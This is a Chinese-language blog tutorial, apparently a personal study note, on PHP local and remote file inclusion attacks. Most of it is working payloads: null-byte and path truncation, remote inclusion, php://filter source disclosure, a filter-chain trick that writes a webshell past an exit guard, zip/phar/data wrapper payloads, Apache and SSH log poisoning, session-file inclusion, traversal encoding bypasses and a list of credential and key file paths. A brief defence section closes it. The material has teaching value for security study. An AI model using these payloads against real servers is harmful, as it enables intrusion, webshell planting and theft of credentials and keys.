文件包含

文件包含分为本地文件包含(Local File Inclusion,简LFI)和远程文件包含(Remote File Inclusion,简RFI)。

在php中常见的文件包含函数有:

include()
include_once()
require()
require_once()
file_get_contents()
fopen()
readfile()

当php包含一个文件时不会在意文件的类型,都会把文件当做php文件来解析。(file_get_contents()除外)。

本地文件包含

测试代码:

<?php
$file = $_GET['file'];
echo $file;
if (file_exists('./'.$file.'.php')) {
  include './'.$file.'.php';
}
?>

存在本地文件包含漏洞。

%00截断

条件:

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 

playload:

http://localhost/wenjianbaohan/file.php?file=../get.txt%00
VgzZ5D.png

这时就是本地任意文件包含。
可以读取服务器敏感信息。

路径长度截断和点号截断

测试代码:

<?php
$str='';
for ($i=0; $i <= 240; $i++) { 
    # code...
    $str.='/.';
    //$str.='.';
}
$str='1.txt'.$str;
echo $str;
include $str.'.php';

Linux 需要文件名长于 4096,Windows 需要长于 256。
在windows下测试是240个点和240个斜杠加点都能截断。
在linux上只有2038个/.才能截断。(至少2038个)
php版本5.3之后被修复。

远程文件包含

远程文件包含需要设置

普通远程文件包含需要 `allow_url_fopen=On` 并且 `allow_url_include=On` 。

测试代码:

<?php
@inculde($_GET['url]);
?>

playload:
http://localhost/wenjianbaohan/file.php?url=http://192.168.190.128/1.txt

VRkwTA.png

问号截断

测试代码:

<?php
@include($_GET['url'].'.php');
?>

playload:
http://localhost/wenjianbaohan/file.php?url=http://192.168.190.128/1.txt?
问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。
VRAJNn.png

php伪协议

file:// — 访问本地文件系统

allow_url_fopen和allow_url_include双Off情况下可正常使用

file:///文件绝对路径和文件名

php://

php:// — 访问各个输入/输出流(I/O streams)
条件:

不需要开启allow_url_fopen
(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
php://input

php://input 是个可以访问请求的原始数据的只读流,_enctype="multipart/form-data"_的时候 php://input 是无效的。POST请求的情况下,php://input可以获取到post的数据。

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo一样的方式 写入到输出缓冲区。

php://filter

该协议语法为:php://filter:/<action>=<name>

参数 功能
resource=<要过滤的数据流> 数据来源(必须)
read=<读链的筛选列表> 读取
write=<写链的筛选列表> 写入

常用功能:

读取源码:

测试代码:

<?php
@include($_GET['url']);
?>

playload:
http://localhost/wenjianbaohan/file.php?url=php://filter/read=convert.base64-encode/resource=file.php

VRW1Et.png

写入webshell

测试代码:

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

这里需要理解一下php base64解码的原理:

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码.
一般步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

起初$content中一共有十四个字符。
我们传入的字符要与其进行拼接。
这里我们可以利用php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<?;>空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“c”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。成功写入可执行的webshell。

VRhftx.png
方法二:
<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法。
测试代码:

<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>

VRHBVg.png

我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。
playload:
POST传入:
txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
VRqmnK.png
这个方法的条件就是不开启短标签。
其他格式:

string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写
convert.base64-encode: 将数据流中的内容转换为base64编码

zlib://

无版本要求
测试代码:

<?php
@include($_GET['url']);
?>

playload:
在E:盘下shell.php添加shell.zip
http://localhost/wenjianbaohan/file.php?url=zip://E:/shell.zip%23shell.php
注意这里是绝对路径。(相对路径失败)

playload2:
在当前文件夹里shell.php添加shell.zip
http://localhost/wenjianbaohan/file.php?url=compress.zlib://shell.zip
压缩包所在位置为当前文件夹。(相对路径,绝对路径也行)

phar://

phar:// — PHP 归档
phar:// 数据流包装器自 PHP 5.3.0 起开始有效
条件:
压缩包必须是zip协议压缩的文件

测试代码同上

playload:
http://localhost/wenjianbaohan/file.php?url=phar://shell.zip/shell.php
压缩包所在位置为当前文件夹。(相对路径)

data://

data:// — 数据(RFC 2397)
条件:

php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On

测试代码同上

playload:
http://localhost/wenjianbaohan/file.php?url=data:text/plain,<?php phpinfo();?>

playload2:
http://localhost/wenjianbaohan/file.php?url=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
playload3:
http://localhost/wenjianbaohan/file.php?url=data://text/plain,<?php phpinfo();?>

本地文件包含之姿势

日志文件

apache日志

测试系统:
centos:
日志路径:/var/log/httpd/access_log或/etc/httpd/logs/access_log
测试系统:
ubuntu16.04
PHP 5.6.40+ Apache/2.4.18
日志路径:/var/log/apache2/access.log

<?php
include($_GET['file']);
?>

日志中的一条信息:

192.168.190.1 - - [13/Jun/2019:01:06:50 -0700] "GET /file.php?file=/var/log/apache2/access.log HTTP/1.1" 200 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"

信息:

  • 访问者ip
  • 请求的时间
  • 请求方式以及url
  • 状态码:200
  • 发送给客户端的总字节数
  • 客户端浏览器的信息

我们知道文件包含时,不管文件是什么类型都当作php来解析。
所以我们可以把webshell藏在请求中,然后就写入日志文件。我们再包含日志文件,就可以获得webshell。

我们试试shell藏在url中:
访问:

 http://192.168.190.131/file.php?file=<?php phpinfo(); ?>

查看日志:

192.168.190.1 - - [13/Jun/2019:01:22:04 -0700] "GET /file.php?file=%3C?php%20phpinfo();%20?%3E HTTP/1.1" 200 511 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"

发现 :shell被url编码了。

尝试包含日志文件:
Vh9FaR.png
发现解析失败。

这时我们可以尝试把shell藏在User-Agent里:
Vh9Usg.png
查看日志:

192.168.190.1 - - [13/Jun/2019:01:29:59 -0700] "GET /file.php?file=/var/log/apache2/access.log HTTP/1.1" 200 514 "-" "<?php phpinfo();?>"

发现这时成功写入shell。
我们再次包含日志文件就getshell了。
Vh92yF.png

ssh 日志

利用条件

需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

我们可以用ssh连接来向ssh日志中写入webshell:

ssh '<?php phpinfo();?>'@192.168.190.131

查看日志文件:
VhiVGq.png
成功写入shell。包含它就getshell了。
Vhi1o9.png

session 文件

利用条件:session文件路径已知,且其中内容部分可控

php的session文件的保存路径可以在phpinfo的session.save_path看到
VWuQpj.png
session 存储位置:
/var/lib/php/session
测试代码:

<?php
session_start();
$_SESSION['alex']=$_GET['file'];
@include($_GET['file']);
?>

session的文件名是“sess_”+当前PHPSESSID

playload:
第一次访问:
http://192.168.190.128/file.php?file=%3C?php%20phpinfo();?%3E
在session文件中存入shell。
我们可以知道session文件的名字和路径。

VWK88H.png

故session文件路径为/var/lib/php/session/sess_2n3gliufi6ibj1b5ddovr6eub4
所以此时包含:

http://192.168.190.128/file.php?file=/var/lib/php/session/sess_2n3gliufi6ibj1b5ddovr6eub4
VWMiLt.png

绕过姿势

在指定前缀名后,我们可以通过../来跳转目录。

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过

 利用url编码

../
%2e%2e%2f
..%2f
 %2e%2e/

..\
%2e%2e%5c
..%5c
%2e%2e\

二次编码

../
%252e%252e%252f

..\
%252e%252e%255c

容器/服务器的编码方式

../
..%c0%af
%c0%ae%c0%ae/   注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)

 ..\
..%c1%9c

问号绕过,#号绕过,%00截断,路径截断(./),长度截断(.)和协议。

常见敏感信息文件路径

windows

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

linux:

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.cnf // mysql 配置文件
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (
/proc/mounts
/proc/config.gz

防御措施

  1. 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  2. 做好文件的权限管理
  3. 对危险字符进行过滤等等

参考文章:
文件包含漏洞(LFI/RFI)
php文件包含漏洞

  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • RCE提高篇

    前言首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。浅谈eval和assert从底层分析eval和assert的区别命令执行与代码执行的小结巧用命令注入的N种方式命令注入绕过姿势我就不在说这几个东西,大牛们都说的很...

    RCE提高篇
  • 文件上传漏洞

    前言我是根据upload-lab来总结文件上传漏洞。思维导图: pass-01提示:在客户端使用js对不合法图片进行检查!所以我们可以通过抓包,改包就可以绕过。。。 pass-02提示:服务端对数据包的MIME进行检查! 这里是对Co...

    文件上传漏洞
  • sql注入知识总结

    前言最近,感觉知识学的有点混乱,来整理一波自己的知识。先总结一下sql注入吧。 知识储备sql注入中常用到的库和表information_schema库 这个数据库中保存着mysql服务器所保存的所有的其他数就库的信息,如数据库名,...

    sql注入知识总结
  • linux基本操作

    centos常用命令及快捷键整理常用linux命令文件和目录cd /home 进入 '/home' 目录 cd .. 返回上一...

    linux基本操作
  • linux查看系统信息

    linux系统下经常查看各种信息,总结一下。 系统uname -a # 查看内核/操作系统/CPU信息 head -n 1 /etc/issue # 查看操作系统版本 cat /etc/issue | ...

    linux查看系统信息
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解